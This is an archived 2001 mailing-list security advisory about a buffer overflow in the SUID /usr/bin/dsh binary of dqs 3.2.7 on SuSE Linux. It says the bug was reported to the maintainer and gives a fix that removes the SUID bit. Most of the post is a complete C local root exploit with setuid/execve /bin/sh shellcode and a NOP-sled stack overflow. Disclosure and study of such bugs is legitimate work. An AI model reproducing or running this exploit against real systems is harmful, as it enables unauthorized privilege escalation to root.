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dqs 3.2.7 local root exploit.
From: dex dex <dexgod () softhome net>
Date: 19 May 2001 00:09:11 -0000


Subject: dqs 3.2.7 local root exploit.

Hello.

DESCRIPTION:
I found a buffer overflow vunerability on the
/usr/bin/dsh (dqs 3.2.7
package).

I really don't know if this bug was discovered
already. if thats right,
then sorry =).

If a long line on the first argument is gived, the
program gives a SIGSEGV
signal.

This bug was reported to Drake Diedrich, Mantainer
for dqs
(Drake.Diedrich () anu edu adu).

AFFECTED:
SusE 6.3, 6.4, 7.0 have the dqs 3.2.7 by default
an then it are vunerable,
maybe others.

FIX:
Remove the SUID permission
|root () netdex /root|# ls -la /usr/bin/dsh
-rwsr-xr-x    1 root     root       502748 May 18
00:36 /usr/bin/dsh
|root () netdex /root|# chmod -s /usr/bin/dsh
|root () netdex /root|# ls -la /usr/bin/dsh
-rwxr-xr-x    1 root     root       502748 May 18
00:36 /usr/bin/dsh
|root () netdex /root|#

EXAMPLE EXPLOIT: 
You can found the exploit at
www.raza-mexicana.org/programas/programas/qsexp.c
And here it is:

----CUT HERE----

/* - dqsexp.c - */
/********************************************************************/
/* /usr/bin/dsh(dqs 3.2.7 package) local root
exploit.              */
/* SuSE 6.3, 6.4, and 7.0 are
vunerable.                            */
/* dex () raza-mexicana org <>
http://www.raza-mexicana.org            */
/* Saludos: dr_fdisk^, yield, vlad, deadsector,
trovalz, fatal,     */
/* megaflop y a todo raza. que weba escribirlos
todos XD.           */
/* En especial saludos al espa~olete(NOP) :P, ya
sabes porque.      */
/*                                                                 
*/
/*        - dex () raza-mexicana org <>
http://www.raza-mexicana.org - */
/********************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFFSIZE 2772
#define OFFSET 0
#define ALIGN 0

unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}

static char code[]=                      /* stolen
from mount.c :P   */

  "\x29\xc0"                             /* subl
%eax, %eax          */
  "\xb0\x46"                             /* movb
$70, %al            */
  "\x29\xdb"                             /* subl
%ebx, %ebx          */
  "\xb3\x0c"                             /* movb
$12, %bl            */
  "\x80\xeb\x0c"                         /* subb
$12, %bl */
  "\x89\xd9"                             /* movl
%ebx, %ecx          */
  "\xcd\x80"                             /* int
$0x80                */
  "\xeb\x18"                             /* jmp
callz                */
  "\x5e"                                 /* popl
%esi                */
  "\x29\xc0"                             /* subl
%eax, %eax          */
  "\x88\x46\x07"                         /* movb
%al, 0x07(%esi)     */
  "\x89\x46\x0c"                         /* movl
%eax, 0x0c(%esi)    */
  "\x89\x76\x08"                         /* movl
%esi, 0x08(%esi)    */
  "\xb0\x0b"                             /* movb
$0x0b, %al          */
  "\x87\xf3"                             /* xchgl
%esi, %ebx         */
  "\x8d\x4b\x08"                         /* leal
0x08(%ebx), %ecx    */
  "\x8d\x53\x0c"                         /* leal
0x0c(%ebx), %edx    */
  "\xcd\x80"                             /* int
$0x80                */
  "\xe8\xe3\xff\xff\xff"                 /* call
start               */
  "\x2f\x62\x69\x6e\x2f\x73\x68";


void main(int argc, char **argv) {

int i;
unsigned long addr;

char *buffer;

int offset=OFFSET;
int buffsize=BUFFSIZE;
int align=ALIGN;

if (argc > 1 ) offset = atoi(argv[1]);
if (argc > 2 ) align = atoi(argv[2]);
if (argc > 3 ) buffsize = atoi(argv[3]);

buffer = (char *)malloc(buffsize + 8);

addr = get_sp() - offset;
 
for(i = 0; i < buffsize; i += 4) {
   *(long *)&buffer[i] = 0x90909090;
 }
 
 *(long *)&buffer[buffsize - 8] = addr;
 *(long *)&buffer[buffsize - 4] = addr;
 
 memcpy(buffer + buffsize - 8 - strlen(code) -
align, code, strlen(code));
 

printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n");
 printf("[*] /usr/bin/dsh(dqs 3.2.7 package) local
root exploit.\n");
 printf("[*] - dex () raza-mexicana org <>
http://www.raza-mexicana.org -
\n");

printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n");
 
 printf("[*] Address=0x%x, Align=%d, Offset=%d\n",
addr, align, offset);

printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n");
 printf("[*] Starting....\n");
 
 execl("/usr/bin/dsh", "dsh", buffer,
"/etc/motd",  NULL);
}

----EOF----

=================================================
Mail: dex () raza-mexicana org
Page: http://www.raza-mexicana.org
===============================================


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